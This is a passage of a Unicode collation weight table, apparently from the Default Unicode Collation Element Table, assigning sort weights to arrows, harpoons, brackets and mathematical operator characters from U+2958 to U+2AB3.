[*0B1C.0020.0002] # RIGHTWARDS HARPOON WITH BARB DOWN TO BAR +2958 ; [*0B1D.0020.0002] # UPWARDS HARPOON WITH BARB LEFT TO BAR +2959 ; [*0B1E.0020.0002] # DOWNWARDS HARPOON WITH BARB LEFT TO BAR +295A ; [*0B1F.0020.0002] # LEFTWARDS HARPOON WITH BARB UP FROM BAR +295B ; [*0B20.0020.0002] # RIGHTWARDS HARPOON WITH BARB UP FROM BAR +295C ; [*0B21.0020.0002] # UPWARDS HARPOON WITH BARB RIGHT FROM BAR +295D ; [*0B22.0020.0002] # DOWNWARDS HARPOON WITH BARB RIGHT FROM BAR +295E ; [*0B23.0020.0002] # LEFTWARDS HARPOON WITH BARB DOWN FROM BAR +295F ; [*0B24.0020.0002] # RIGHTWARDS HARPOON WITH BARB DOWN FROM BAR +2960 ; [*0B25.0020.0002] # UPWARDS HARPOON WITH BARB LEFT FROM BAR +2961 ; [*0B26.0020.0002] # DOWNWARDS HARPOON WITH BARB LEFT FROM BAR +2962 ; [*0B27.0020.0002] # LEFTWARDS HARPOON WITH BARB UP ABOVE LEFTWARDS HARPOON WITH BARB DOWN +2963 ; [*0B28.0020.0002] # UPWARDS HARPOON WITH BARB LEFT BESIDE UPWARDS HARPOON WITH BARB RIGHT +2964 ; [*0B29.0020.0002] # RIGHTWARDS HARPOON WITH BARB UP ABOVE RIGHTWARDS HARPOON WITH BARB DOWN +2965 ; [*0B2A.0020.0002] # DOWNWARDS HARPOON WITH BARB LEFT BESIDE DOWNWARDS HARPOON WITH BARB RIGHT +2966 ; [*0B2B.0020.0002] # LEFTWARDS HARPOON WITH BARB UP ABOVE RIGHTWARDS HARPOON WITH BARB UP +2967 ; [*0B2C.0020.0002] # LEFTWARDS HARPOON WITH BARB DOWN ABOVE RIGHTWARDS HARPOON WITH BARB DOWN +2968 ; [*0B2D.0020.0002] # RIGHTWARDS HARPOON WITH BARB UP ABOVE LEFTWARDS HARPOON WITH BARB UP +2969 ; [*0B2E.0020.0002] # RIGHTWARDS HARPOON WITH BARB DOWN ABOVE LEFTWARDS HARPOON WITH BARB DOWN +296A ; [*0B2F.0020.0002] # LEFTWARDS HARPOON WITH BARB UP ABOVE LONG DASH +296B ; [*0B30.0020.0002] # LEFTWARDS HARPOON WITH BARB DOWN BELOW LONG DASH +296C ; [*0B31.0020.0002] # RIGHTWARDS HARPOON WITH BARB UP ABOVE LONG DASH +296D ; [*0B32.0020.0002] # RIGHTWARDS HARPOON WITH BARB DOWN BELOW LONG DASH +296E ; [*0B33.0020.0002] # UPWARDS HARPOON WITH BARB LEFT BESIDE DOWNWARDS HARPOON WITH BARB RIGHT +296F ; [*0B34.0020.0002] # DOWNWARDS HARPOON WITH BARB LEFT BESIDE UPWARDS HARPOON WITH BARB RIGHT +2970 ; [*0B35.0020.0002] # RIGHT DOUBLE ARROW WITH ROUNDED HEAD +2971 ; [*0B36.0020.0002] # EQUALS SIGN ABOVE RIGHTWARDS ARROW +2972 ; [*0B37.0020.0002] # TILDE OPERATOR ABOVE RIGHTWARDS ARROW +2973 ; [*0B38.0020.0002] # LEFTWARDS ARROW ABOVE TILDE OPERATOR +2974 ; [*0B39.0020.0002] # RIGHTWARDS ARROW ABOVE TILDE OPERATOR +2975 ; [*0B3A.0020.0002] # RIGHTWARDS ARROW ABOVE ALMOST EQUAL TO +2976 ; [*0B3B.0020.0002] # LESS-THAN ABOVE LEFTWARDS ARROW +2977 ; [*0B3C.0020.0002] # LEFTWARDS ARROW THROUGH LESS-THAN +2978 ; [*0B3D.0020.0002] # GREATER-THAN ABOVE RIGHTWARDS ARROW +2979 ; [*0B3E.0020.0002] # SUBSET ABOVE RIGHTWARDS ARROW +297A ; [*0B3F.0020.0002] # LEFTWARDS ARROW THROUGH SUBSET +297B ; [*0B40.0020.0002] # SUPERSET ABOVE LEFTWARDS ARROW +297C ; [*0B41.0020.0002] # LEFT FISH TAIL +297D ; [*0B42.0020.0002] # RIGHT FISH TAIL +297E ; [*0B43.0020.0002] # UP FISH TAIL +297F ; [*0B44.0020.0002] # DOWN FISH TAIL +2980 ; [*0B45.0020.0002] # TRIPLE VERTICAL BAR DELIMITER +2981 ; [*0B46.0020.0002] # Z NOTATION SPOT +2982 ; [*0B47.0020.0002] # Z NOTATION TYPE COLON +2983 ; [*0324.0020.0002] # LEFT WHITE CURLY BRACKET +2984 ; [*0325.0020.0002] # RIGHT WHITE CURLY BRACKET +2985 ; [*0326.0020.0002] # LEFT WHITE PARENTHESIS +2986 ; [*0327.0020.0002] # RIGHT WHITE PARENTHESIS +2987 ; [*0328.0020.0002] # Z NOTATION LEFT IMAGE BRACKET +2988 ; [*0329.0020.0002] # Z NOTATION RIGHT IMAGE BRACKET +2989 ; [*032A.0020.0002] # Z NOTATION LEFT BINDING BRACKET +298A ; [*032B.0020.0002] # Z NOTATION RIGHT BINDING BRACKET +298B ; [*032C.0020.0002] # LEFT SQUARE BRACKET WITH UNDERBAR +298C ; [*032D.0020.0002] # RIGHT SQUARE BRACKET WITH UNDERBAR +298D ; [*032E.0020.0002] # LEFT SQUARE BRACKET WITH TICK IN TOP CORNER +298E ; [*032F.0020.0002] # RIGHT SQUARE BRACKET WITH TICK IN BOTTOM CORNER +298F ; [*0330.0020.0002] # LEFT SQUARE BRACKET WITH TICK IN BOTTOM CORNER +2990 ; [*0331.0020.0002] # RIGHT SQUARE BRACKET WITH TICK IN TOP CORNER +2991 ; [*0332.0020.0002] # LEFT ANGLE BRACKET WITH DOT +2992 ; [*0333.0020.0002] # RIGHT ANGLE BRACKET WITH DOT +2993 ; [*0334.0020.0002] # LEFT ARC LESS-THAN BRACKET +2994 ; [*0335.0020.0002] # RIGHT ARC GREATER-THAN BRACKET +2995 ; [*0336.0020.0002] # DOUBLE LEFT ARC GREATER-THAN BRACKET +2996 ; [*0337.0020.0002] # DOUBLE RIGHT ARC LESS-THAN BRACKET +2997 ; [*0338.0020.0002] # LEFT BLACK TORTOISE SHELL BRACKET +2998 ; [*0339.0020.0002] # RIGHT BLACK TORTOISE SHELL BRACKET +2999 ; [*0B48.0020.0002] # DOTTED FENCE +299A ; [*0B49.0020.0002] # VERTICAL ZIGZAG LINE +299B ; [*0B4A.0020.0002] # MEASURED ANGLE OPENING LEFT +299C ; [*0B4B.0020.0002] # RIGHT ANGLE VARIANT WITH SQUARE +299D ; [*0B4C.0020.0002] # MEASURED RIGHT ANGLE WITH DOT +299E ; [*0B4D.0020.0002] # ANGLE WITH S INSIDE +299F ; [*0B4E.0020.0002] # ACUTE ANGLE +29A0 ; [*0B4F.0020.0002] # SPHERICAL ANGLE OPENING LEFT +29A1 ; [*0B50.0020.0002] # SPHERICAL ANGLE OPENING UP +29A2 ; [*0B51.0020.0002] # TURNED ANGLE +29A3 ; [*0B52.0020.0002] # REVERSED ANGLE +29A4 ; [*0B53.0020.0002] # ANGLE WITH UNDERBAR +29A5 ; [*0B54.0020.0002] # REVERSED ANGLE WITH UNDERBAR +29A6 ; [*0B55.0020.0002] # OBLIQUE ANGLE OPENING UP +29A7 ; [*0B56.0020.0002] # OBLIQUE ANGLE OPENING DOWN +29A8 ; [*0B57.0020.0002] # MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING UP AND RIGHT +29A9 ; [*0B58.0020.0002] # MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING UP AND LEFT +29AA ; [*0B59.0020.0002] # MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING DOWN AND RIGHT +29AB ; [*0B5A.0020.0002] # MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING DOWN AND LEFT +29AC ; [*0B5B.0020.0002] # MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING RIGHT AND UP +29AD ; [*0B5C.0020.0002] # MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING LEFT AND UP +29AE ; [*0B5D.0020.0002] # MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING RIGHT AND DOWN +29AF ; [*0B5E.0020.0002] # MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING LEFT AND DOWN +29B0 ; [*0B5F.0020.0002] # REVERSED EMPTY SET +29B1 ; [*0B60.0020.0002] # EMPTY SET WITH OVERBAR +29B2 ; [*0B61.0020.0002] # EMPTY SET WITH SMALL CIRCLE ABOVE +29B3 ; [*0B62.0020.0002] # EMPTY SET WITH RIGHT ARROW ABOVE +29B4 ; [*0B63.0020.0002] # EMPTY SET WITH LEFT ARROW ABOVE +29B5 ; [*0B64.0020.0002] # CIRCLE WITH HORIZONTAL BAR +29B6 ; [*0B65.0020.0002] # CIRCLED VERTICAL BAR +29B7 ; [*0B66.0020.0002] # CIRCLED PARALLEL +29B8 ; [*0B67.0020.0002] # CIRCLED REVERSE SOLIDUS +29B9 ; [*0B68.0020.0002] # CIRCLED PERPENDICULAR +29BA ; [*0B69.0020.0002] # CIRCLE DIVIDED BY HORIZONTAL BAR AND TOP HALF DIVIDED BY VERTICAL BAR +29BB ; [*0B6A.0020.0002] # CIRCLE WITH SUPERIMPOSED X +29BC ; [*0B6B.0020.0002] # CIRCLED ANTICLOCKWISE-ROTATED DIVISION SIGN +29BD ; [*0B6C.0020.0002] # UP ARROW THROUGH CIRCLE +29BE ; [*0B6D.0020.0002] # CIRCLED WHITE BULLET +29BF ; [*0B6E.0020.0002] # CIRCLED BULLET +29C0 ; [*0B6F.0020.0002] # CIRCLED LESS-THAN +29C1 ; [*0B70.0020.0002] # CIRCLED GREATER-THAN +29C2 ; [*0B71.0020.0002] # CIRCLE WITH SMALL CIRCLE TO THE RIGHT +29C3 ; [*0B72.0020.0002] # CIRCLE WITH TWO HORIZONTAL STROKES TO THE RIGHT +29C4 ; [*0B73.0020.0002] # SQUARED RISING DIAGONAL SLASH +29C5 ; [*0B74.0020.0002] # SQUARED FALLING DIAGONAL SLASH +29C6 ; [*0B75.0020.0002] # SQUARED ASTERISK +29C7 ; [*0B76.0020.0002] # SQUARED SMALL CIRCLE +29C8 ; [*0B77.0020.0002] # SQUARED SQUARE +29C9 ; [*0B78.0020.0002] # TWO JOINED SQUARES +29CA ; [*0B79.0020.0002] # TRIANGLE WITH DOT ABOVE +29CB ; [*0B7A.0020.0002] # TRIANGLE WITH UNDERBAR +29CC ; [*0B7B.0020.0002] # S IN TRIANGLE +29CD ; [*0B7C.0020.0002] # TRIANGLE WITH SERIFS AT BOTTOM +29CE ; [*0B7D.0020.0002] # RIGHT TRIANGLE ABOVE LEFT TRIANGLE +29CF ; [*0B7E.0020.0002] # LEFT TRIANGLE BESIDE VERTICAL BAR +29D0 ; [*0B7F.0020.0002] # VERTICAL BAR BESIDE RIGHT TRIANGLE +29D1 ; [*0B80.0020.0002] # BOWTIE WITH LEFT HALF BLACK +29D2 ; [*0B81.0020.0002] # BOWTIE WITH RIGHT HALF BLACK +29D3 ; [*0B82.0020.0002] # BLACK BOWTIE +29D4 ; [*0B83.0020.0002] # TIMES WITH LEFT HALF BLACK +29D5 ; [*0B84.0020.0002] # TIMES WITH RIGHT HALF BLACK +29D6 ; [*0B85.0020.0002] # WHITE HOURGLASS +29D7 ; [*0B86.0020.0002] # BLACK HOURGLASS +29D8 ; [*037E.0020.0002] # LEFT WIGGLY FENCE +29D9 ; [*037F.0020.0002] # RIGHT WIGGLY FENCE +29DA ; [*0380.0020.0002] # LEFT DOUBLE WIGGLY FENCE +29DB ; [*0381.0020.0002] # RIGHT DOUBLE WIGGLY FENCE +29DC ; [*0B87.0020.0002] # INCOMPLETE INFINITY +29DD ; [*0B88.0020.0002] # TIE OVER INFINITY +29DE ; [*0B89.0020.0002] # INFINITY NEGATED WITH VERTICAL BAR +29DF ; [*0B8A.0020.0002] # DOUBLE-ENDED MULTIMAP +29E0 ; [*0B8B.0020.0002] # SQUARE WITH CONTOURED OUTLINE +29E1 ; [*0B8C.0020.0002] # INCREASES AS +29E2 ; [*0B8D.0020.0002] # SHUFFLE PRODUCT +29E3 ; [*0B8E.0020.0002] # EQUALS SIGN AND SLANTED PARALLEL +29E4 ; [*0B8F.0020.0002] # EQUALS SIGN AND SLANTED PARALLEL WITH TILDE ABOVE +29E5 ; [*0B90.0020.0002] # IDENTICAL TO AND SLANTED PARALLEL +29E6 ; [*0B91.0020.0002] # GLEICH STARK +29E7 ; [*0B92.0020.0002] # THERMODYNAMIC +29E8 ; [*0B93.0020.0002] # DOWN-POINTING TRIANGLE WITH LEFT HALF BLACK +29E9 ; [*0B94.0020.0002] # DOWN-POINTING TRIANGLE WITH RIGHT HALF BLACK +29EA ; [*0B95.0020.0002] # BLACK DIAMOND WITH DOWN ARROW +29EB ; [*0B96.0020.0002] # BLACK LOZENGE +29EC ; [*0B97.0020.0002] # WHITE CIRCLE WITH DOWN ARROW +29ED ; [*0B98.0020.0002] # BLACK CIRCLE WITH DOWN ARROW +29EE ; [*0B99.0020.0002] # ERROR-BARRED WHITE SQUARE +29EF ; [*0B9A.0020.0002] # ERROR-BARRED BLACK SQUARE +29F0 ; [*0B9B.0020.0002] # ERROR-BARRED WHITE DIAMOND +29F1 ; [*0B9C.0020.0002] # ERROR-BARRED BLACK DIAMOND +29F2 ; [*0B9D.0020.0002] # ERROR-BARRED WHITE CIRCLE +29F3 ; [*0B9E.0020.0002] # ERROR-BARRED BLACK CIRCLE +29F4 ; [*0B9F.0020.0002] # RULE-DELAYED +29F5 ; [*0BA0.0020.0002] # REVERSE SOLIDUS OPERATOR +29F6 ; [*0BA1.0020.0002] # SOLIDUS WITH OVERBAR +29F7 ; [*0BA2.0020.0002] # REVERSE SOLIDUS WITH HORIZONTAL STROKE +29F8 ; [*0BA3.0020.0002] # BIG SOLIDUS +29F9 ; [*0BA4.0020.0002] # BIG REVERSE SOLIDUS +29FA ; [*0BA5.0020.0002] # DOUBLE PLUS +29FB ; [*0BA6.0020.0002] # TRIPLE PLUS +29FC ; [*0322.0020.0002] # LEFT-POINTING CURVED ANGLE BRACKET +29FD ; [*0323.0020.0002] # RIGHT-POINTING CURVED ANGLE BRACKET +29FE ; [*0BA7.0020.0002] # TINY +29FF ; [*0BA8.0020.0002] # MINY +2A00 ; [*0BA9.0020.0002] # N-ARY CIRCLED DOT OPERATOR +2A01 ; [*0BAA.0020.0002] # N-ARY CIRCLED PLUS OPERATOR +2A02 ; [*0BAB.0020.0002] # N-ARY CIRCLED TIMES OPERATOR +2A03 ; [*0BAC.0020.0002] # N-ARY UNION OPERATOR WITH DOT +2A04 ; [*0BAD.0020.0002] # N-ARY UNION OPERATOR WITH PLUS +2A05 ; [*0BAE.0020.0002] # N-ARY SQUARE INTERSECTION OPERATOR +2A06 ; [*0BAF.0020.0002] # N-ARY SQUARE UNION OPERATOR +2A07 ; [*0BB0.0020.0002] # TWO LOGICAL AND OPERATOR +2A08 ; [*0BB1.0020.0002] # TWO LOGICAL OR OPERATOR +2A09 ; [*0BB2.0020.0002] # N-ARY TIMES OPERATOR +2A0A ; [*0BB3.0020.0002] # MODULO TWO SUM +2A0B ; [*0BB4.0020.0002] # SUMMATION WITH INTEGRAL +2A0C ; [*061C.0020.0004][*061C.0020.0004][*061C.0020.0004][*061C.0020.0004] # QUADRUPLE INTEGRAL OPERATOR +2A0D ; [*0BB5.0020.0002] # FINITE PART INTEGRAL +2A0E ; [*0BB6.0020.0002] # INTEGRAL WITH DOUBLE STROKE +2A0F ; [*0BB7.0020.0002] # INTEGRAL AVERAGE WITH SLASH +2A10 ; [*0BB8.0020.0002] # CIRCULATION FUNCTION +2A11 ; [*0BB9.0020.0002] # ANTICLOCKWISE INTEGRATION +2A12 ; [*0BBA.0020.0002] # LINE INTEGRATION WITH RECTANGULAR PATH AROUND POLE +2A13 ; [*0BBB.0020.0002] # LINE INTEGRATION WITH SEMICIRCULAR PATH AROUND POLE +2A14 ; [*0BBC.0020.0002] # LINE INTEGRATION NOT INCLUDING THE POLE +2A15 ; [*0BBD.0020.0002] # INTEGRAL AROUND A POINT OPERATOR +2A16 ; [*0BBE.0020.0002] # QUATERNION INTEGRAL OPERATOR +2A17 ; [*0BBF.0020.0002] # INTEGRAL WITH LEFTWARDS ARROW WITH HOOK +2A18 ; [*0BC0.0020.0002] # INTEGRAL WITH TIMES SIGN +2A19 ; [*0BC1.0020.0002] # INTEGRAL WITH INTERSECTION +2A1A ; [*0BC2.0020.0002] # INTEGRAL WITH UNION +2A1B ; [*0BC3.0020.0002] # INTEGRAL WITH OVERBAR +2A1C ; [*0BC4.0020.0002] # INTEGRAL WITH UNDERBAR +2A1D ; [*0BC5.0020.0002] # JOIN +2A1E ; [*0BC6.0020.0002] # LARGE LEFT TRIANGLE OPERATOR +2A1F ; [*0BC7.0020.0002] # Z NOTATION SCHEMA COMPOSITION +2A20 ; [*0BC8.0020.0002] # Z NOTATION SCHEMA PIPING +2A21 ; [*0BC9.0020.0002] # Z NOTATION SCHEMA PROJECTION +2A22 ; [*0BCA.0020.0002] # PLUS SIGN WITH SMALL CIRCLE ABOVE +2A23 ; [*0BCB.0020.0002] # PLUS SIGN WITH CIRCUMFLEX ACCENT ABOVE +2A24 ; [*0BCC.0020.0002] # PLUS SIGN WITH TILDE ABOVE +2A25 ; [*0BCD.0020.0002] # PLUS SIGN WITH DOT BELOW +2A26 ; [*0BCE.0020.0002] # PLUS SIGN WITH TILDE BELOW +2A27 ; [*0BCF.0020.0002] # PLUS SIGN WITH SUBSCRIPT TWO +2A28 ; [*0BD0.0020.0002] # PLUS SIGN WITH BLACK TRIANGLE +2A29 ; [*0BD1.0020.0002] # MINUS SIGN WITH COMMA ABOVE +2A2A ; [*0BD2.0020.0002] # MINUS SIGN WITH DOT BELOW +2A2B ; [*0BD3.0020.0002] # MINUS SIGN WITH FALLING DOTS +2A2C ; [*0BD4.0020.0002] # MINUS SIGN WITH RISING DOTS +2A2D ; [*0BD5.0020.0002] # PLUS SIGN IN LEFT HALF CIRCLE +2A2E ; [*0BD6.0020.0002] # PLUS SIGN IN RIGHT HALF CIRCLE +2A2F ; [*0BD7.0020.0002] # VECTOR OR CROSS PRODUCT +2A30 ; [*0BD8.0020.0002] # MULTIPLICATION SIGN WITH DOT ABOVE +2A31 ; [*0BD9.0020.0002] # MULTIPLICATION SIGN WITH UNDERBAR +2A32 ; [*0BDA.0020.0002] # SEMIDIRECT PRODUCT WITH BOTTOM CLOSED +2A33 ; [*0BDB.0020.0002] # SMASH PRODUCT +2A34 ; [*0BDC.0020.0002] # MULTIPLICATION SIGN IN LEFT HALF CIRCLE +2A35 ; [*0BDD.0020.0002] # MULTIPLICATION SIGN IN RIGHT HALF CIRCLE +2A36 ; [*0BDE.0020.0002] # CIRCLED MULTIPLICATION SIGN WITH CIRCUMFLEX ACCENT +2A37 ; [*0BDF.0020.0002] # MULTIPLICATION SIGN IN DOUBLE CIRCLE +2A38 ; [*0BE0.0020.0002] # CIRCLED DIVISION SIGN +2A39 ; [*0BE1.0020.0002] # PLUS SIGN IN TRIANGLE +2A3A ; [*0BE2.0020.0002] # MINUS SIGN IN TRIANGLE +2A3B ; [*0BE3.0020.0002] # MULTIPLICATION SIGN IN TRIANGLE +2A3C ; [*0BE4.0020.0002] # INTERIOR PRODUCT +2A3D ; [*0BE5.0020.0002] # RIGHTHAND INTERIOR PRODUCT +2A3E ; [*0BE6.0020.0002] # Z NOTATION RELATIONAL COMPOSITION +2A3F ; [*0BE7.0020.0002] # AMALGAMATION OR COPRODUCT +2A40 ; [*0BE8.0020.0002] # INTERSECTION WITH DOT +2A41 ; [*0BE9.0020.0002] # UNION WITH MINUS SIGN +2A42 ; [*0BEA.0020.0002] # UNION WITH OVERBAR +2A43 ; [*0BEB.0020.0002] # INTERSECTION WITH OVERBAR +2A44 ; [*0BEC.0020.0002] # INTERSECTION WITH LOGICAL AND +2A45 ; [*0BED.0020.0002] # UNION WITH LOGICAL OR +2A46 ; [*0BEE.0020.0002] # UNION ABOVE INTERSECTION +2A47 ; [*0BEF.0020.0002] # INTERSECTION ABOVE UNION +2A48 ; [*0BF0.0020.0002] # UNION ABOVE BAR ABOVE INTERSECTION +2A49 ; [*0BF1.0020.0002] # INTERSECTION ABOVE BAR ABOVE UNION +2A4A ; [*0BF2.0020.0002] # UNION BESIDE AND JOINED WITH UNION +2A4B ; [*0BF3.0020.0002] # INTERSECTION BESIDE AND JOINED WITH INTERSECTION +2A4C ; [*0BF4.0020.0002] # CLOSED UNION WITH SERIFS +2A4D ; [*0BF5.0020.0002] # CLOSED INTERSECTION WITH SERIFS +2A4E ; [*0BF6.0020.0002] # DOUBLE SQUARE INTERSECTION +2A4F ; [*0BF7.0020.0002] # DOUBLE SQUARE UNION +2A50 ; [*0BF8.0020.0002] # CLOSED UNION WITH SERIFS AND SMASH PRODUCT +2A51 ; [*0BF9.0020.0002] # LOGICAL AND WITH DOT ABOVE +2A52 ; [*0BFA.0020.0002] # LOGICAL OR WITH DOT ABOVE +2A53 ; [*0BFB.0020.0002] # DOUBLE LOGICAL AND +2A54 ; [*0BFC.0020.0002] # DOUBLE LOGICAL OR +2A55 ; [*0BFD.0020.0002] # TWO INTERSECTING LOGICAL AND +2A56 ; [*0BFE.0020.0002] # TWO INTERSECTING LOGICAL OR +2A57 ; [*0BFF.0020.0002] # SLOPING LARGE OR +2A58 ; [*0C00.0020.0002] # SLOPING LARGE AND +2A59 ; [*0C01.0020.0002] # LOGICAL OR OVERLAPPING LOGICAL AND +2A5A ; [*0C02.0020.0002] # LOGICAL AND WITH MIDDLE STEM +2A5B ; [*0C03.0020.0002] # LOGICAL OR WITH MIDDLE STEM +2A5C ; [*0C04.0020.0002] # LOGICAL AND WITH HORIZONTAL DASH +2A5D ; [*0C05.0020.0002] # LOGICAL OR WITH HORIZONTAL DASH +2A5E ; [*0C06.0020.0002] # LOGICAL AND WITH DOUBLE OVERBAR +2A5F ; [*0C07.0020.0002] # LOGICAL AND WITH UNDERBAR +2A60 ; [*0C08.0020.0002] # LOGICAL AND WITH DOUBLE UNDERBAR +2A61 ; [*0C09.0020.0002] # SMALL VEE WITH UNDERBAR +2A62 ; [*0C0A.0020.0002] # LOGICAL OR WITH DOUBLE OVERBAR +2A63 ; [*0C0B.0020.0002] # LOGICAL OR WITH DOUBLE UNDERBAR +2A64 ; [*0C0C.0020.0002] # Z NOTATION DOMAIN ANTIRESTRICTION +2A65 ; [*0C0D.0020.0002] # Z NOTATION RANGE ANTIRESTRICTION +2A66 ; [*0C0E.0020.0002] # EQUALS SIGN WITH DOT BELOW +2A67 ; [*0C0F.0020.0002] # IDENTICAL WITH DOT ABOVE +2A68 ; [*0C10.0020.0002] # TRIPLE HORIZONTAL BAR WITH DOUBLE VERTICAL STROKE +2A69 ; [*0C11.0020.0002] # TRIPLE HORIZONTAL BAR WITH TRIPLE VERTICAL STROKE +2A6A ; [*0C12.0020.0002] # TILDE OPERATOR WITH DOT ABOVE +2A6B ; [*0C13.0020.0002] # TILDE OPERATOR WITH RISING DOTS +2A6C ; [*0C14.0020.0002] # SIMILAR MINUS SIMILAR +2A6D ; [*0C15.0020.0002] # CONGRUENT WITH DOT ABOVE +2A6E ; [*0C16.0020.0002] # EQUALS WITH ASTERISK +2A6F ; [*0C17.0020.0002] # ALMOST EQUAL TO WITH CIRCUMFLEX ACCENT +2A70 ; [*0C18.0020.0002] # APPROXIMATELY EQUAL OR EQUAL TO +2A71 ; [*0C19.0020.0002] # EQUALS SIGN ABOVE PLUS SIGN +2A72 ; [*0C1A.0020.0002] # PLUS SIGN ABOVE EQUALS SIGN +2A73 ; [*0C1B.0020.0002] # EQUALS SIGN ABOVE TILDE OPERATOR +2A74 ; [*0238.0020.0004][*0238.0020.0004][*05FB.0020.0004] # DOUBLE COLON EQUAL +2A75 ; [*05FB.0020.0004][*05FB.0020.0004] # TWO CONSECUTIVE EQUALS SIGNS +2A76 ; [*05FB.0020.0004][*05FB.0020.0004][*05FB.0020.0004] # THREE CONSECUTIVE EQUALS SIGNS +2A77 ; [*0C1C.0020.0002] # EQUALS SIGN WITH TWO DOTS ABOVE AND TWO DOTS BELOW +2A78 ; [*0C1D.0020.0002] # EQUIVALENT WITH FOUR DOTS ABOVE +2A79 ; [*0C1E.0020.0002] # LESS-THAN WITH CIRCLE INSIDE +2A7A ; [*0C1F.0020.0002] # GREATER-THAN WITH CIRCLE INSIDE +2A7B ; [*0C20.0020.0002] # LESS-THAN WITH QUESTION MARK ABOVE +2A7C ; [*0C21.0020.0002] # GREATER-THAN WITH QUESTION MARK ABOVE +2A7D ; [*0C22.0020.0002] # LESS-THAN OR SLANTED EQUAL TO +2A7E ; [*0C23.0020.0002] # GREATER-THAN OR SLANTED EQUAL TO +2A7F ; [*0C24.0020.0002] # LESS-THAN OR SLANTED EQUAL TO WITH DOT INSIDE +2A80 ; [*0C25.0020.0002] # GREATER-THAN OR SLANTED EQUAL TO WITH DOT INSIDE +2A81 ; [*0C26.0020.0002] # LESS-THAN OR SLANTED EQUAL TO WITH DOT ABOVE +2A82 ; [*0C27.0020.0002] # GREATER-THAN OR SLANTED EQUAL TO WITH DOT ABOVE +2A83 ; [*0C28.0020.0002] # LESS-THAN OR SLANTED EQUAL TO WITH DOT ABOVE RIGHT +2A84 ; [*0C29.0020.0002] # GREATER-THAN OR SLANTED EQUAL TO WITH DOT ABOVE LEFT +2A85 ; [*0C2A.0020.0002] # LESS-THAN OR APPROXIMATE +2A86 ; [*0C2B.0020.0002] # GREATER-THAN OR APPROXIMATE +2A87 ; [*0C2C.0020.0002] # LESS-THAN AND SINGLE-LINE NOT EQUAL TO +2A88 ; [*0C2D.0020.0002] # GREATER-THAN AND SINGLE-LINE NOT EQUAL TO +2A89 ; [*0C2E.0020.0002] # LESS-THAN AND NOT APPROXIMATE +2A8A ; [*0C2F.0020.0002] # GREATER-THAN AND NOT APPROXIMATE +2A8B ; [*0C30.0020.0002] # LESS-THAN ABOVE DOUBLE-LINE EQUAL ABOVE GREATER-THAN +2A8C ; [*0C31.0020.0002] # GREATER-THAN ABOVE DOUBLE-LINE EQUAL ABOVE LESS-THAN +2A8D ; [*0C32.0020.0002] # LESS-THAN ABOVE SIMILAR OR EQUAL +2A8E ; [*0C33.0020.0002] # GREATER-THAN ABOVE SIMILAR OR EQUAL +2A8F ; [*0C34.0020.0002] # LESS-THAN ABOVE SIMILAR ABOVE GREATER-THAN +2A90 ; [*0C35.0020.0002] # GREATER-THAN ABOVE SIMILAR ABOVE LESS-THAN +2A91 ; [*0C36.0020.0002] # LESS-THAN ABOVE GREATER-THAN ABOVE DOUBLE-LINE EQUAL +2A92 ; [*0C37.0020.0002] # GREATER-THAN ABOVE LESS-THAN ABOVE DOUBLE-LINE EQUAL +2A93 ; [*0C38.0020.0002] # LESS-THAN ABOVE SLANTED EQUAL ABOVE GREATER-THAN ABOVE SLANTED EQUAL +2A94 ; [*0C39.0020.0002] # GREATER-THAN ABOVE SLANTED EQUAL ABOVE LESS-THAN ABOVE SLANTED EQUAL +2A95 ; [*0C3A.0020.0002] # SLANTED EQUAL TO OR LESS-THAN +2A96 ; [*0C3B.0020.0002] # SLANTED EQUAL TO OR GREATER-THAN +2A97 ; [*0C3C.0020.0002] # SLANTED EQUAL TO OR LESS-THAN WITH DOT INSIDE +2A98 ; [*0C3D.0020.0002] # SLANTED EQUAL TO OR GREATER-THAN WITH DOT INSIDE +2A99 ; [*0C3E.0020.0002] # DOUBLE-LINE EQUAL TO OR LESS-THAN +2A9A ; [*0C3F.0020.0002] # DOUBLE-LINE EQUAL TO OR GREATER-THAN +2A9B ; [*0C40.0020.0002] # DOUBLE-LINE SLANTED EQUAL TO OR LESS-THAN +2A9C ; [*0C41.0020.0002] # DOUBLE-LINE SLANTED EQUAL TO OR GREATER-THAN +2A9D ; [*0C42.0020.0002] # SIMILAR OR LESS-THAN +2A9E ; [*0C43.0020.0002] # SIMILAR OR GREATER-THAN +2A9F ; [*0C44.0020.0002] # SIMILAR ABOVE LESS-THAN ABOVE EQUALS SIGN +2AA0 ; [*0C45.0020.0002] # SIMILAR ABOVE GREATER-THAN ABOVE EQUALS SIGN +2AA1 ; [*0C46.0020.0002] # DOUBLE NESTED LESS-THAN +2AA2 ; [*0C47.0020.0002] # DOUBLE NESTED GREATER-THAN +2AA3 ; [*0C48.0020.0002] # DOUBLE NESTED LESS-THAN WITH UNDERBAR +2AA4 ; [*0C49.0020.0002] # GREATER-THAN OVERLAPPING LESS-THAN +2AA5 ; [*0C4A.0020.0002] # GREATER-THAN BESIDE LESS-THAN +2AA6 ; [*0C4B.0020.0002] # LESS-THAN CLOSED BY CURVE +2AA7 ; [*0C4C.0020.0002] # GREATER-THAN CLOSED BY CURVE +2AA8 ; [*0C4D.0020.0002] # LESS-THAN CLOSED BY CURVE ABOVE SLANTED EQUAL +2AA9 ; [*0C4E.0020.0002] # GREATER-THAN CLOSED BY CURVE ABOVE SLANTED EQUAL +2AAA ; [*0C4F.0020.0002] # SMALLER THAN +2AAB ; [*0C50.0020.0002] # LARGER THAN +2AAC ; [*0C51.0020.0002] # SMALLER THAN OR EQUAL TO +2AAD ; [*0C52.0020.0002] # LARGER THAN OR EQUAL TO +2AAE ; [*0C53.0020.0002] # EQUALS SIGN WITH BUMPY ABOVE +2AAF ; [*0C54.0020.0002] # PRECEDES ABOVE SINGLE-LINE EQUALS SIGN +2AB0 ; [*0C55.0020.0002] # SUCCEEDS ABOVE SINGLE-LINE EQUALS SIGN +2AB1 ; [*0C56.0020.0002] # PRECEDES ABOVE SINGLE-LINE NOT EQUAL TO +2AB2 ; [*0C57.0020.0002] # SUCCEEDS ABOVE SINGLE-LINE NOT EQUAL TO +2AB3 ; [*0C58.0020.0002] # PRECEDES ABOVE EQUALS SIGN +2AB4 ; 